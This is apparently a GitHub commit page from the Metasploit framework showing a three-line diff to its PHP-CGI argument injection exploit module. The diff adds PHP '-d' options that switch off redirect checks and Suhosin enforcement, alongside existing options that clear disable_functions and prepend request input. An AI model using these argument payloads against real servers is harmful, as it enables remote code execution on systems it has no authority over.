Skip to content

Commit 026f6eb

Browse files
committed
Land rapid7#7929, improve php_cgi_arg_injection
2 parents 4a9a8ad + f3bcc9f commit 026f6eb

File tree

1 file changed

+3
-0
lines changed

1 file changed

+3
-0
lines changed

modules/exploits/multi/http/php_cgi_arg_injection.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -114,6 +114,9 @@ def exploit
114114
create_arg("-d",'disable_functions=""'),
115115
create_arg("-d","open_basedir=none"),
116116
create_arg("-d","auto_prepend_file=php://input"),
117+
create_arg("-d", "cgi.force_redirect=#{rand_php_ini_false}"),
118+
create_arg("-d", "cgi.redirect_status_env=0"),
119+
create_arg("-d", "suhosin.simulation=#{rand_php_ini_true}"),
117120
rand_opt_equiv("-n")
118121
]
119122

0 commit comments

Comments
 (0)